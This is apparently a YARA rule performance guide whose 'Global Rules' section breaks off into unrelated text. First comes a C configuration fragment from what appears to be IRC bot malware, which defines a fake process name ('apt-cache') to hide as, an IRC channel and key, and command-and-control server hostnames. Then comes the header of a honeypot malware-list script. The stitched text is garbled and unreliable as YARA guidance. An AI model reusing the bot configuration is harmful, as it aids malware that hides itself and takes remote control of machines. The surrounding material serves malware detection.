Zam zam89

YARA Performance Guidelines

When creating your rules for YARA keep in mind the following guidelines in order to get the best performance from them. This guide is based on ideas and recommendations by Victor M. Alvarez and WXS.

Revision 1.1, February 2016, applies to all YARA version 3.3+

Global Rules

Global rules are evaluated first. Only if they are satisfied non-global rules are evaluated. This may be useful if all samples exhibit the same characteristics. Use them combined with the "private" statement to suppress a match notification on the global rules.

	#define STARTUP 1
	#undef IDENT // Only enable this if you absolutely have to
	#define FAKENAME "apt-cache" // What you want this to hide as
	#define CHAN "#mint" // Channel to join
	#define KEY "bleh" // The key of the channel
	int numservers=5; // Must change this to equal number of servers down there
	char *servers[] = {
	"updates.absentvodka.com",
	"updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",

	# This list summarizes recent malware caught in my Kippo SSH Honeypot (http://code.google.com/p/kippo/)
	#
	# For detailed instructions, please see:
	# https://blog.ls20.com/check-your-server-for-malware-from-ssh-brute-force-attacks/
	#
	# Last Updated: March 24, 2014
	#
	# Copyright (C) 2014 Lin Song
	#
	# This program is free software: you can redistribute it and/or modify it under